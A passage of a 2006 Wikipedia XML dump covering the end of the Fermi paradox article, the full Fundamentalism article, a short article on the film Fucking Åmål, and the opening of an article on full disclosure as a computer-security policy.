*[http://www.space.com/searchforlife/shostak_paradox_011024.html Space.com: Our Galaxy Should Be Teeming With Civilizations, But Where Are They?] by Seth Shostak
*[http://www-personal.engin.umich.edu/~fritx/Ftlessay/essay.html The Possibilities of FTL: Or Fermi's Paradox Reconsidered] by F.E. Freiheit IV 
*[http://zebu.uoregon.edu/~js/cosmo/lectures/lec28.html Fermi's Paradox (i.e. Where are They?)] by [http://zebu.uoregon.edu/~js/ James Schombert]
* [http://www.accelerating.org/articles/answeringfermiparadox.html Answering the Fermi Paradox: Exploring the Mechanisms of Universal Transcension] by [[John Smart (futurist)|John Smart]]
* [http://hanson.gmu.edu/greatfilter.html The Great Filter &amp;mdash; Are We Almost Past It?] by [[Robin Hanson]]
* ''[http://www.rfreitas.com/Astro/ResolvingFermi1983.htm Extraterrestrial Intelligence in the Solar System: Resolving the Fermi Paradox]'', which argues that our observations are incomplete, and ''[http://www.rfreitas.com/Astro/ThereIsNoFermiParadox1985.htm There Is No Fermi Paradox]'', arguing that the paradox is based on a logical flaw, both by [[Robert Freitas]]
* [http://www.futurehi.net/archives/000106.html Beyond Kardaschev: Possible Answer to Fermi's Paradox] by Paul Hughes
* [http://www.astrobio.net/news/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=1745 SETI and the Cosmic Quarantine Hypothesis] by Steven Soter.

==Fictional treatment==
* The [[Berserker (Saberhagen)|Berserker]] novels by [[Fred Saberhagen]]
* ''[[Childhood's End]]'' by [[Arthur C. Clarke]]
* ''[[The Engines of God]]'' by [[Jack McDevitt]]
* ''[[The Forge of God]]'', ''[[Anvil of Stars]]'', and ''[[Blood Music]]'' by [[Greg Bear]]
* The [[Heechee]] novels by [[Frederik Pohl]]
* ''The Manifold Trilogy'': ''[[Manifold: Time]]'', ''[[Manifold: Space]]'', and ''[[Manifold: Origin]]'' by [[Stephen Baxter]]
* The [[Revelation Space]] novels by [[Alastair Reynolds]]
* [[Accelerando (novel)|''Accelerando'']] by [[Charles Stross]]
* Marvel's Ultimate [[Galactus]] trlogy by [[Warren Ellis]] uses the concept of [[Galactus]] to explain the paradox and it is mentioned in great detail during the series.

==References==

*''The Millennial Project: Colonizing the Galaxy in 8 Easy Steps'' by Marshall T. Savage (Empyrean Publishing; Denver; 1992) pages 341&amp;ndash;354 ISBN 0-9633914-8-8
*&quot;[http://www.sciam.com/article.cfm?articleID=0009CDEA-33FC-1C74-9B81809EC588EF21&amp;pageNumber=1&amp;catID=2 Where Are They? Maybe we are alone in the galaxy after all]&quot;, by Ian Crawford. ''Scientific American'' &amp;mdash; June 2000.
*''If the Universe Is Teeming with Aliens... Where Is Everybody?'' by Stephen Webb (Copernicus Books; 2002) ISBN 0-387-95501-1


[[Category:Extraterrestrials]]
[[Category:Paradoxes]]
[[Category:Unsolved problems]]

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      <text xml:space="preserve">In [[comparative religion]], '''''fundamentalism''''' has come to refer to several different understandings of religious thought and practice, including literal interpretation of sacred texts such as the [[Bible]] or the [[Qu'ran]] and sometimes also [[antimodernism|anti-modernist]] movements in various [[religion]]s.

In some ways religious fundamentalism is a modern phenomenon, characterized by a sense of embattled [[alienation]] in the midst of the surrounding [[culture]], even where the culture may be nominally influenced by the adherents' religion.  The term can also refer specifically to the belief that one's religious texts are infallible and historically accurate, despite possible contradiction of these claims by modern scholarship.

Many groups described as fundamentalist often strongly object to this term because of the negative connotations it carries, or because it implies a similarity between themselves and other groups, which they find objectionable.

==The fundamentalist phenomenon==
Although the term fundamentalism in popular usage sometimes refers derogatorily to any fringe religious group, or to extremist ethnic movements with only nominally religious motivations, the term does have a more precise [[denotation]].  &quot;Fundamentalist&quot; describes a  movement to return to what is considered the defining or founding principles of the religion.  It has especially come to refer to any religious enclave that intentionally resists identification with the larger religious group in which it originally arose, on the basis that fundamental principles upon which the larger religious group is supposedly founded have become corrupt or displaced by alternative principles hostile to its identity.  

This formation of a separate identity is deemed necessary on account of a perception that the religious community has surrendered its ability to define itself in religious terms.  The &quot;fundamentals&quot; of the religion have been jettisoned by neglect, lost through compromise and inattention, so that the general religious community's explanation of itself appears to the separatist to be in terms that are completely alien and fundamentally hostile to the religion itself.  Fundamentalist movements are therefore founded upon the same religious principles as the larger group, but the fundamentalists more self-consciously attempt to build an entire approach to the modern world based on strict fidelity to those principles, to preserve a distinctness both of doctrine and of life.

The term itself is borrowed from the title of a four volume set of books called ''The Fundamentals'' published in [[1909]]. The books were published by the Bible Institute of Los Angeles (B.I.O.L.A. now [[Biola University]]), and edited by R.A. Torrey, who was a minister affiliated with the [[Moody Bible Institute]] in [[Chicago]]. Initially the project was funded by [[Lyman Stewart]], president and cofounder of the Union Oil Company of California (currently known as [[UNOCAL]]), and cofounder of B.I.O.L.A. The books were a republication of a series of essays that were sent by mail to every minister in the United States. They were called &quot;The Fundamentals&quot; because they appealed to all Christians to affirm specific fundamental doctrines such as The Virgin Birth and bodily Resurrection of Jesus.  This series of essays came to be representative of the &quot;Fundamentalist-[[Modernist Christianity|Modernist]] controversy&quot; which appeared late in the [[19th century]] within the [[Protestant]] [[church]]es of the [[United States]], and continued in earnest through the [[1920s]]. 

The pattern of the conflict between [[Fundamentalist Christianity|Fundamentalism]] and [[Modernist Christianity|Modernism]] in Protestant Christianity has remarkable parallels in other religious communities, and in its use as a description of these corresponding aspects in otherwise diverse religious movements the term &quot;fundamentalist&quot; has become more than only a term either of self-description or of derogatory contempt.  Fundamentalism is therefore a movement through which the adherents attempt to rescue religious identity from absorption into modern, [[Westernisation|Western]] culture, where this absorption appears to the enclave to have made irreversible progress in the wider religious community, necessitating the assertion of a separate identity based upon the fundamental or founding principles of the religion.

Fundamentalists believe their cause to have grave and even cosmic importance.  They see themselves as protecting not only a distinctive doctrine, but also a vital principle, and a way of life and of salvation.  Community, comprehensively centered upon a clearly defined religious way of life in all of its aspects, is the promise of fundamentalist movements, and it therefore appeals to those adherents of religion who find little that is distinctive, or authentically vital in their previous religious identity.  

The fundamentalist &quot;wall of virtue&quot;, which protects their identity, is erected against not only alien religions, but also against the modernized, compromised, nominal version of their own religion.  In Christianity, fundamentalists are &quot;Born again&quot; and &quot;Bible-believing&quot; Protestants, as opposed to &quot;Mainline&quot;, &quot;liberal&quot;, &quot;modernist&quot; Protestants, who represent &quot;Churchianity&quot;; in Islam they are ''jama'at'' ([[Arabic language|Arabic]]: ''(religious) enclaves'' with connotations of ''close fellowship'') self-consciously engaged in ''[[jihad]]'' (''struggle'') against Western culture that suppresses authentic ''Islam'' (''submission'') and the ''God-given'' (''[[Sharia|Shari'ah]]'') way of life; in Judaism they are ''[[Haredi Judaism|Haredi]]'' &quot;Torah-true&quot; Jews; and they have their equivalents in [[Hinduism]] and other world religions. These groups insist on a sharp boundary between themselves and the faithful adherents of other religions, and finally between a &quot;sacred&quot; view of life and the &quot;secular&quot; world and &quot;nominal religion&quot;.  Fundamentalists direct their critiques toward and draw most of their converts from the larger community of their religion, by attempting to convince them that they are not experiencing the authentic version of their professed religion.

Many scholars see most forms of fundamentalism as having similar traits. This is especially obvious if [[modernity]], [[secularism]] or an [[atheism|atheistic]] perspective is adopted as the norm, against which these varieties of [[traditionalism]] or [[supernaturalism]] are compared. From such a perspective, [[Peter Huff]] wrote in the [[International Journal on World Peace]]:
:&quot;According to Antoun, fundamentalists in Judaism, Christianity, and Islam, despite their doctrinal and practical differences, are united by a common worldview which anchors all of life in the authority of the sacred and a shared ethos that expresses itself through outrage at the pace and extent of modern secularization.&quot; [http://www.worldandi.com/subscribers/feature_detail.asp?num=24175]

== Fundamentalism and politics ==
&quot;Fundamentalism&quot; is a morally charged, emotive term, often used as a term of opprobrium, particularly in combination with other epithets (as in the phrase &quot;[[Islamic fundamentalism|Muslim fundamentalists]]&quot; and &quot;right-wing fundamentalists&quot;).

Very often religious fundamentalists, in all religions, are politically aware. They feel that legal  and government processes must recognise the way of life they see as prescribed by God and set forth in Scripture. The state must be subservient to God, in their eyes.

==Objections to the use of the term==
[[Christian fundamentalists]], who generally consider the term to be positive when used to refer to themselves, often strongly object to the placement of themselves and Islamist groups into a single category, and resent being labeled together with factions that use kidnapping, murder, and terrorist acts to achieve their ends. They feel that characteristics based on the new definition are wrongly projected back onto Christian fundamentalists by their critics.  There is however no objection to the term fundamentalist when used to describe only Christian groups, and objections to the term [[Muslim]] fundamentalist are much less strong.

Many Muslims protest the use of the term when referring to [[Islamist]] groups, because all Muslims believe in the absolute inerrancy of the [[Qur'an]], and western writers only use the term to refer to extremist groups.  Furthermore, many Muslims strongly object to being placed in the same category as Christian fundamentalists, who they see as being religiously incorrect.  Unlike Christian fundamentalist groups, Islamist groups do not use the term fundamentalist to refer to themselves. However, in the Islamic world, [[Wahhabis]] are overwhelmingly considered to be fundamentalists; [[Shiite]] groups which are considered fundamentalist in the western world are not considered such in the Islamic world. 

The [[Associated Press]] stylebook recommends that the term fundamentalist not be used for any group that does not apply the term to itself.  This would generally mean that some Christian groups can be described as fundamentalist, but Islamist groups can not be.  This recommendation is not universally followed by news writers, however.

== Basic beliefs of religious fundamentalists ==
For religious fundamentalists, sacred scripture is considered the authentic, and literal word of God. Fundamentalist beliefs depend on the twin doctrines that [[God]] articulated his will precisely to prophets, and that [[followers]] also have a reliable and perfect record of that [[revelation]].

Since Scripture is considered the word of God, fundamentalists believe that no person has the right to change it or disagree with it. As a result, people are &quot;obliged&quot; to obey the word of God. The appeal of this point of view is its simplicity: people must do what God tells them to do. However, the fundamentalist insistence on strict observation of religious laws may lead to an accusation of &quot;[[Legalism (theology)|legalism]]&quot; in addition to exclusivism in the interpretation of metaphysical beliefs.

===Christian views===
{{Main|Fundamentalist Christianity}}
Self-described Christian fundamentalists see their scripture, a combination of the [[Tanakh|Hebrew Bible]] and the [[New Testament]], as both infallible and historically accurate. The New Testament represents a new covenant between God and human beings, which is held to fulfill the Old Testament, in regard to God's redemptive plan.  On the basis of this confidence in Scripture, fundamentalist Christians accept the account of scripture as being literally true and believe that Jesus was raised from the dead and rules the church from heaven. They believe that the church has been granted the gift of the Holy Spirit, who leads the church into fulfillment of God's will according to the Scriptures.

It is important to distinguish between the &quot;literalist&quot; and ''Fundamentalist'' groups within the Christian community.  Literalists, as the name indicates, hold that the Bible should be taken literally in every part (though Western literalists often seem to forget that English language Bibles are themselves translations and therefore not a literal, word-for-word rending of the original texts).  Fundamentalists, on the other hand, are for the most part content to hold that the Bible should be taken literally only where there is no indication to the contrary.  As William Jennings Bryan put it, in response to Clarence Darrow's questioning during the [[Scopes Trial]] (1925), :

&quot;I believe that everything in the Bible should be accepted as it is given there; some of the Bible is given illustratively. For instance: 'Ye are the salt of the earth.' I would not insist that man was actually salt, or that he had flesh of salt, but it is used in the sense of salt as saving God's people.&quot;

Nevertheless, they typically believe that it is the church's obligation  (imperfectly realized) to understand the Scriptures, so far as that is possible, to believe what they say, and to act accordingly.  

The term fundamentalist has historically referred specifically to members of the various Protestant denominations who subscribed to the five &quot;fundamentals&quot;, rather than fundamentalists forming an independent denomination. This wider movement of Fundamentalist Christianity has since broken up into various movements which are better described in other terms. Early &quot;fundamentalists&quot; included [[J. Gresham Machen]] and [[Benjamin Breckinridge Warfield|B.B. Warfield]], men who would not be considered &quot;Fundamentalists&quot; today. 

Over time the term came to be, incorrectly, associated with a particular segment of [[Evangelicalism|evangelical]] [[Protestantism]], who distinguished themselves by their separatist approach toward [[modernity]], toward aspects of the culture which they feel typify the modern world, and toward other Christians who did not similarly separate themselves.  Examples of things that fundamentalists might believe important to avoid are, modern translations of the Bible, alcoholic drinks or recreational drugs, tobacco, modern popular music including Christian contemporary music, folk instruments in worship, dancing, &quot;mixed bathing&quot; (men and women swimming together), and gender-neutral or trans-gender clothing and hair-styles.  Such things might seem innocuous to the outsider, but to some fundamentalists they represent the leading edge of a threat to the virtuous way of life and the purer form of belief that they seek to protect and to hold forth before the world as an example. Many fundamentalists accept only the [[King James Version]] translation of the Bible and study tools based on it, such as the [[Scofield Reference Bible]].   

Because of the prevalence of [[dispensationalism|dispensational eschatology]], some fundamentalists vehemently support the modern nation of [[Israel]], believing the Jews to have significance in God's purposes parallel to the Christian churches, and a special role to play at the end of the world.

The term, ''fundamentalist'', is difficult to apply unambiguously, especially when applied to groups outside the USA, which are typically far less dogmatic.  Many self-described Fundamentalists would include [[Jerry Falwell]] in their company, but would not embrace [[Pat Robertson]] as a fundamentalist because of his espousal of [[charismatic]] teachings.  Fundamentalist institutions include [[Pensacola Christian College]], and [[Bob Jones University]], but classically Fundamentalist schools such as [[Fuller Theological Seminary]] and [[Biola University]] no longer describe themselves as Fundamentalist, although in the broad sense described by this article they are fundamentalist (better, ''[[Evangelicalism|Evangelical]]'') in their perspective.&lt;br /&gt;
(The forerunner to Biola U. - the Bible Institute of Los Angeles - was founded under the financial patronage of Lyman Stewart, with his brother Milton, underwrote the publication of a series of 12 books jointly entitled ''The Fundamentals'' between 1909 and 1920.)

=== Jewish views===
[[Judaism|Jewish denominations]] believe that the [[Tanakh]] (Hebrew Bible or Old Testament) cannot be understood literally or alone, but rather needs to be read in conjunction with additional material known as the [[oral law]]; this material is contained in the [[Mishnah]], [[Talmud]], Gmara and [[Midrash]]. While the Tanakh is not read in a literal fashion, [[Orthodox Judaism]] does view the text itself as divine, infallible, and transmitted essentially without change, and places great import in the specific words and letters of the [[Torah]].  As well, some adherents of [[Orthodox Judaism]], especially [[Haredi Judaism]], see the Mishnah, Talmud and Midrash as divine and infallible in content, if not in specific wording.  [[Hasidic Judaism|Hasidic Jews]] frequently ascribe infallibility to their [[Rebbe]]'s interpretation of the traditional sources of truth.

===Mormon views===
{{Main|Mormon fundamentalism}}
Mormon fundamentalism is a [[conservatism|conservative]] movement of [[Mormonism]] that believes or practices what its adherents consider to be the [[fundamentalism|fundamental]] aspects of [[Mormonism]]. Most often, Mormon fundamentalism represents a break from the brand of Mormonism practiced by [[The Church of Jesus Christ of Latter-day Saints]] (LDS Church), and a return to Mormon doctrines and practices which adherents believe the LDS Church has wrongly abandoned, such as [[plural marriage]], the [[Law of Consecration]], the [[Adam-God theory]], [[blood atonement]], the [[Patriarchal Priesthood]], elements of the Mormon [[Endowment (Mormonism)|Endowment]] ritual, and often the [[Blacks and Mormonism|exclusion of Blacks]] from the [[priesthood (Mormonism)|priesthood]]. Mormon fundamentalists have formed numerous sects, many of which have established small, cohesive, and isolated communities in areas of the [[Western United States]].

=== Islamic views ===
[[Muslims]] believe that their religion was revealed by God ([[Allah]] in Arabic) to [[Muhammad]], the prophet of [[Islam]].  However, the Muslims brand of conservatism which is generally termed [[Islamic fundamentalism]] encompasses all the following:

* It describes the beliefs of traditional Muslims that they should restrict themselves to literal interpretations of their sacred texts, the [[Qur'an]] and [[Hadith]]. This may describe the private religious attitudes of individuals and have no relationship with larger social groups.

* It describes a variety of religious movements and political parties in [[Muslim]] communities. 

* As opposed to the above two usages, in the West &quot;Islamic fundamentalism&quot; is most often used to describe Muslim individuals and groups which advocate [[Islamism]],  a political ideology calling for the replacement of state secular laws with [[Islamic law]]. The more radical of these Islamists may advocate violent overthrow of secular states, or even [[Islamist terrorism]].

In all the above cases, Islamic fundamentalism represents a conservative religious belief, as opposed to [[liberal movements within Islam]].

=== &quot;Non-Abrahamic&quot; religions ===
Some argue that the religious idea of fundamentalism is limited to &quot;[[Abrahamic religions]]&quot;, and have connected the phenomenon specifically to the notion of revealed religion.  However, the answer to the question, ''Who is a fundamentalist?'' is in the eye of the beholder.  It is not uncommon for detractors to apply the ''fundamentalist'' label to ''Wiccans'' or virtually anything else religious, describing an attitude rather than a self-perception or a doctrine.  In the landmark series on fundamentalism, scholars led by liberal Christian scholar [[Martin Marty]] have identified fundamentalism also in [[Hinduism]]. 

Followers of [[Hinduism]] generally adhere to the [[Veda|Vedic]] statement, &quot;Truth is One, though the sages know it variously&quot;, which would seem to make relativism practically a fundamental tenet. However, a few sects within Hinduism do have a tendency to dogmatically view the Vedas as divinely inspired, superior or even flawless. Regardless, some claim that no Hindu can be found who considers his/her name of God to be that of the &quot;only true God&quot; or their scriptures to be the &quot;only scriptures truly inspired by God&quot; or their prophet to be the &quot;final one&quot;. In fact it is normal that Hinduism is itself divided into many different sects and groups with new sects and new philosophies continuously being added; consequently, the fundamentalist enclaves identified by ''The Fundamentalism Project'', which claim to be purer than others, are regarded as aberrant within Hinduism.

The [[Japan]]ese [[Nichiren]] sect of [[Buddhism]], which believes that other forms of Buddhism are heretical, is also sometimes labelled fundamentalist. However, Nichiren Buddhism contains influences from [[Shintoism]] and a strongly nationalistic streak that would disqualify it from being fundamentalist in the strictest sense.

=== Non-religious fundamentalism ===
Some refer to any literal-minded or intolerant philosophy with pretense of being the sole source of objective truth, as ''fundamentalist'', regardless of whether it is usually called a [[religion]]. For example, when [[Albania]] under [[Enver Hoxha]] declared itself an &quot;atheist state&quot;, it was deemed by some to be a kind of &quot;Fundamentalist Atheism&quot; or more accurately &quot;[[Stalinist]] Fundamentalism&quot;. There are people who in their attempt to live according to the writings of [[Ayn Rand]] seem to detractors to transgress respect for other perspectives in propagating their views, so that they are deemed to be a kind of &quot;[[Objectivist]] Fundamentalist&quot;, and they are spoken of derogatorily as, &quot;Randroids.&quot; In France, the imposition of restrictions on public display of religion has been labelled by some as &quot;Secular Fundamentalism.&quot; The idea of non-religious Fundamentalism almost always expands the definition of &quot;Fundamentalism&quot; along the lines of criticisms.  Occasionally, it represents an idea of purity, and is self-applied as signifying a rather counter-cultural fidelity to some noble, simple, but overlooked principle, as in ''Economic fundamentalism''; but the same term can be used in a critical way.

== Arguments in favor of fundamentalist positions ==
Fundamentalists claim both that they practice their [[religion]] as the first adherents did and that this is how religion should be practiced.  In other words, a Christian ought to believe and practice as those who knew and followed [[Jesus]] during his time on earth. A [[Muslim]] ought to give the same consideration to the followers of [[Muhammad]]. Analogous arguments can be made for most systems of religious belief.  Fundamentalists justify this belief on the idea that the founders of the world's religions said and did things that were not written down; in other words, their original disciples knew things that we don't. For fundamentalist Christians, this claim is justified by the [[Gospel of John]], which ends with the statement &quot;there are also many other things that Jesus did, which if they were written one by one, I suppose that even the world itself could not contain the books that would be written.&quot; (John 21:25, NKJV) Further justification is adduced from the static or falling attendance of many liberal or reformed congregations, from the scandals that have struck, for example, the [[Roman Catholicism|Roman Catholic church]], and from the increasing difficulty of distinguishing between religiously liberal and avowedly [[secularism|secularist]] views on such matters as [[homosexuality]], [[abortion]] and [[feminism|women's rights]].

Fundementalists also argue that the Bible has been shown to be 100% historically accurate when compared with other historical texts, and that every prophecy ever made in the Bible has either been fulfilled or has yet to be fulfilled.  This would make the Bible, from a historical and prophetical perspective, an infallible text.

== Criticism of the fundamentalist position ==
Many criticisms of the fundamentalist position have been offered. The most common is that the theological claims made by fundamentalist groups cannot be proven. Another criticism is that the rhetoric of these groups offers an appearance of uniformity and simplicity, yet within each faith community, one actually finds different texts of religious law that are accepted; each text has varying interpretations. Consequently, each fundamentalist faith is observed to splinter into many mutually antagonistic groups. They are often as hostile to each other as they are to other religions. In addition, it has been observed that there is no such thing as a [[Muslim]], [[Jewish]], or [[Christian]] Fundamentalist. Rather, a fundamentalist's fundamentalism is their primary concern, over and above other denominational or faith considerations.

In order to carry out the fundamentalist program in practice, critics claim that one would first need a perfect understanding of the ancient language of the original text, if indeed the true text can be discerned from among variants. Furthermore, they charge that fundamentalists fail to recognize that fallible human beings are the ones who transmit this tradition. [[Elliot N. Dorff]] writes &quot;Even if one wanted to follow the literal word of God, the need for people first to understand that word necessitates human interpretation. Through that process human fallibility is inextricably mixed into the very meaning of the divine word. As a result, it is impossible to follow the indisputable word of God; one can only achieve a human understanding of God's will.&quot; (''A Living Tree'', Dorff, 1988)

Most fundamentalists do not deal with this argument. Those that do reply to this critique hold their own religious leaders are guided by God, and thus partake of divine infallibility.

Fundamentalism is held by many to cause followers of a faith to become overly attached to their religion's leaders. Followers believe that person to be infallible, or the voice of God, and who can direct them infallibly in the interpretation of the sources of truth. Religions which have such a hold over their followers are often referred to as [[cult|cults]].

A general criticism of fundamentalism is the claim that fundamentalists are selective in what they believe and practice. For instance, the book of [[Exodus]] dictates that when a man's brother dies, he must marry his widowed sister-in-law. Yet fundamentalist Christians do not adhere to this doctrine, despite the fact that it is not contradicted in the New Testament. However, defenders of fundamentalism argue that according to New Testament theology, large parts, if not all of the Mosaic Law, are not normative for modern Christians.  They may cite passages such Colossians 2:14 which describes Jesus Christ as &quot;having wiped out the handwriting of requirements that was against us&quot; (NKJV).  Other fundamentalists argue that only certain parts of the Mosaic Law, parts that rely on universal moral principles, are normative for today.  Therefore, in their view, there is no contradiction between such passages in the Old Testament and their belief in biblical infallibility.

Christian fundamentalists often insist that the Bible is infallible in its various prophetic assertions. However, in the book of [[Ezekiel]], specifically Ezekiel 26:1-14, we find a prophecy (the conquering of the city of Tyre) that, according to Ezekiel 29:18-20, seems to have not been fullfilled in exactly the way the prophet had predicted.  This prophecy is the subject of much scholarly debate in regard to interpretation of the prophecy itself and the interpretation of the actual events that took place.  At any rate, it is clear that Nebuchadnezzar did in fact conquer the city of Tyre as prophesied, although the spoils of the battle apparently were not as extravagant as Ezekiel predicted they would be, and the city has been rebuilt (modern day Sur, Lebanon) contrary to prophetic claims it would never stand again.

Fundamentalist teachings are criticised by questioning the historical accuracy of the religious texts in question when compared to other historical sources; as well as questioning how documents that some believe to contain many contradictions could be considered infallible.

== Fundamentalism and politics ==
&quot;Fundamentalism&quot; is a morally charged, emotive term, often used as a term of opprobrium, particularly in combination with other epithets (as in the phrase &quot;[[Islamic fundamentalism|Muslim fundamentalists]]&quot; and &quot;right-wing fundamentalists&quot;).

Very often religious fundamentalists, in all religions, are politically aware. They feel that legal  and government processes must recognise the way of life they see as prescribed by God and set forth in Scripture. The state must be subservient to God, in their eyes: this, however is a basic belief of most religions, even if their practitioners do not insist upon it.

Most &quot;Christian&quot; countries go through a similar stage in their development. The governments of many [[Muslim]] countries, such as [[Iran]] and [[Saudi Arabia]], are Islamic, and include people with fundamentalist beliefs. More secular politicians are often to be found working in opposition movements in these countries. Christian fundamentalism is most prevalent in the politics of northern [[Ireland]].

==References==
*Appleby, R. Scott, Gabriel Abraham Almond, and Emmanuel Sivan (2003). ''Strong Religion''. Chicago: University of Chicago Press. ISBN 0226014975
*Armstrong, Karen (2001). ''The Battle for God: A History of Fundamentalism''. New York: Ballantine Books. ISBN 0-345-39169-1
*Brasher, Brenda E. (2001). ''The Encyclopedia of Fundamentalism''. New York: Routledge. ISBN 0415922445
* Dorff, Elliot N. and Rosett, Arthur, ''A Living Tree; The Roots and Growth of Jewish Law'', SUNY Press, 1988. 
*  Marsden; George M. ''Fundamentalism and American Culture: The Shaping of Twentieth Century Evangelicalism, 1870-1925'' Oxford University Press, ([http://www.questia.com/PM.qst?a=o&amp;d=98828304 1980])  
*Marty, Martin E. and R. Scott Appleby (eds.). ''The Fundamentalism Project''. Chicago: University of Chicago Press.
**(1991). ''Volume 1: Fundamentalisms Observed''. ISBN 0-226-50878-1
**(1993). ''Volume 2: Fundamentalisms and Society''. ISBN 0-226-50880-3 
**(1993). ''Volume 3: Fundamentalisms and the State''. ISBN 0-226-50883-8
**(1994). ''Volume 4: Accounting for Fundamentalisms''. ISBN 0-226-50885-4 
**(1995). ''Volume 5: Fundamentalisms Comprehended''. ISBN 0-226-50887-0
*Ruthven, Malise (2005). &quot;Fundamentalism: The Search for Meaning&quot;. Oxford: Oxford University Press. ISBN 0192806068
*Torrey, R.A. (ed.). (1909). ''The Fundamentals''. Los Angeles: The Bible Institute of Los Angeles (B.I.O.L.A. now [[Biola University]]). ISBN: 0801012643
* Religious movements: fundamentalist. In Goldstein, Norm (Ed.) (2003). ''The Associated Press Stylebook and Briefing on Media Law 2003'' (38th ed.), p. 218. New York: The Associated Press. ISBN 0-917360-22-2.

==See also==
*[[Grammatical-historical|Distinctions between those who interpret the Bible literally and those who don't but at the same time believe it to be inerrant]]
*[[Catholic fundamentalism]]
*[[Evangelicalism]]
*[[Fundamentalist Christianity]]
*[[Haredi Judaism]]
*[[Kach and Kahane Chai]]
*[[Islamic fundamentalism]]
*[[Khalistan]]
*[[Islamism]]
*[[Pentecostalism]]
*[[Seventh-day Adventist Church|Seventh-day Adventism]]
*[[Osama Bin Laden]]
*[[Bhindranwale]]
*[[Sectarianism]]

==External links==
*[http://lecturesoncentralasia.blogspot.com/2005/08/thoughts-on-religious-fundamentalism_22.html Thoughts on &quot;Religious Fundamentalism&quot; Identity]
*[http://www.icapi.org International Coalition Against Political Islam]
*[http://www.ntpi.org No to Political Islam]
*[http://home.earthlink.net/%7Ejcmmsm/article/index.html Psychological Issues of Former Members of Restrictive Religious Groups] by Jim Moyers, MA, MFT; originally written for psychotherapists working with ex-fundamentalists
*[http://www.csmonitor.com/2001/1004/p25s1-wosc.html Q &amp; A on Islamic Fundamentalism]
*[http://www.brucegourley.com/fundamentalism/ Introduction to Fundamentalism]
*[http://www.blessedquietness.com/ www.blessedquietness.com] a conservative Christian website, maintained by Steve van Natten
*[http://www.biblicaladvancedbasics.com/Topical.htm Mid-Acts Dispensational Fundamentals]
*[http://www.geocities.com/realitywithbite/index.htm Reality With Bite] A site highlighting the danger of religious fundamentalism, especially how it affects women.
*[http://www.reandev.com/taliban/ American Taliban] Quotes, mainly from fundamentalists, referred to here as the &quot;American Taliban&quot;
*[http://waf.gn.apc.org/ Women Against Fundamentalism (UK)]
*[http://repositories.cdlib.org/cgi/viewcontent.cgi?article=1024&amp;context=gis The Rise of Religious Violence]



[[Category:Religious faiths, traditions, and movements]]

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[[zh:基要主义]]</text>
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  <page>
    <title>Fucking Åmål</title>
    <id>11585</id>
    <revision>
      <id>41671422</id>
      <timestamp>2006-02-28T23:42:41Z</timestamp>
      <contributor>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox_Film |
  name     = Fucking Åmål |
  image          = Fucking Åmål original poster.jpg |
  writer         = [[Lukas Moodysson]] |
  starring       = [[Alexandra Dahlström]],&lt;br&gt;[[Rebecka Liljeberg]],&lt;br&gt;[[Erica Carlson]],&lt;br&gt;[[Mathias Rust (actor)|Mathias Rust]] |
  director       = [[Lukas Moodysson]] |
  producer       = [[Lars Jönsson]] |
  distributor    = [[Sonet Film]] |
  released   = [[October 23]], [[1998]] |
  runtime        = 89 min. |
  language = Swedish |
  budget         = [[SEK]] 9,000,000 |
  imdb_id        = 0150662 |
}}
'''''Fucking Åmål''''' (occasionally spelled without [[Ring_(diacritic)|rings]] as ''Fucking Amal'') is a [[Sweden|Swedish]] [[Film|movie]] that was distributed in English-speaking countries as '''''Show Me Love''''' (and in other countries under similarly toned-down titles such as '''''Raus Aus Åmål''''', '''''Descubriendo el Amor''''', '''''Amigas de Colégio''''' etc.). The title refers to the small town [[Åmål]] in western Sweden.

The movie from [[1998]] was written and directed by [[Lukas Moodysson]] and was his first full length film. It stars [[Alexandra Dahlström]] as Elin and [[Rebecka Liljeberg]] as Agnes. It won four ''Guldbagge'' (Golden Beetle) at the [[1999]] Swedish [[Guldbagge Award]]s. It has also won several other international awards, among them the Teddy award at the [[1999]] [[Berlin Film Festival]].

==Plot summary==
{{spoiler}}
The [[film]] tells the story of two girls, Agnes and Elin, who go to school in the insignificant town of [[Åmål]] (&quot;[[fuck]]ing&quot; is a word Elin uses to describe it). Elin is outgoing and has many friends, but finds her life unsatisfying. Agnes, by contrast, has almost no friends. Agnes has a crush on Elin, but cannot find any way to express it. Elin goes to Agnes' birthday party, mainly as an excuse to avoid going to a different party, where there will be people she wants to avoid. Elin's older sister, Jessica, who comes with her, dares her to kiss Agnes, which she does. Elin discovers she shares Agnes's feelings, and a relationship between them develops.

The film is not actually filmed in Åmål but in [[Trollhättan]].

==External links==
* {{imdb title|id=0150662|title=Fucking Åmål}}
* [http://www.fucking-amal.com Fucking-Amal.com: Site in English, including an active forum]
* [http://amal.host.sk/fa2.htm Fan site 1]
* [http://www.eratosthenese.com/showmelove/index.html Fan site 2]
* [http://people.freenet.de/what-its-all-about/ Essay on the film]


[[Category:1998 films]]
[[Category:Lesbian films]]
[[Category:Swedish films]]

[[cs:Láska je láska]]
[[de:Raus aus Åmål]]
[[es:Fucking Åmål]]
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[[pl:Fucking Åmål]]
[[sv:Fucking Åmål]]</text>
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  <page>
    <title>Full disclosure</title>
    <id>11586</id>
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        <username>Pengo</username>
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      <minor />
      <comment>/* History */ dab cracker</comment>
      <text xml:space="preserve">:''This article is about a policy of the security industry. For other meanings, see [[Full disclosure (disambiguation)]].''

In [[computer security]], '''full disclosure''' means to disclose all the details of a security problem which are known. It is also a philosophy of security management completely opposed to the idea of [[security through obscurity]], and that is what this article discusses.   

The issue of full disclosure is controversial, but not new: [[locksmith]]s were discussing full disclosure over a century ago.

== Definition ==

'''Full disclosure''' requires that full details of a security vulnerability are disclosed to the public, including details of the vulnerability and how to detect and exploit it.  The theory behind ''full disclosure'' is that releasing vulnerability information immediately results in quicker fixes and better security.  Fixes are produced faster because vendors and authors are forced to respond in order to save face.  Security is improved because the ''window of exposure'', the amount of time the vulnerability is open to attack, is reduced.

In the realm of computer vulnerabilities, disclosure is often achieved via mailing lists such as [[Bugtraq]] and full disclosure by other means.

=== Various interpretations ===

Even among those who believe in disclosure there are differing policies about when, to whom, and how much to disclose.

Some believe that in the absence of any public [[exploit (computer science)|exploit]]s for the problem, ''full and public disclosure'' should be preceded by disclosure of the vulnerability to the vendors or authors of the system.  This private advance disclosure allows the vendor time to produce a fix or workaround.  This philosophy is sometimes called &quot;[[responsible disclosure]]&quot;. 

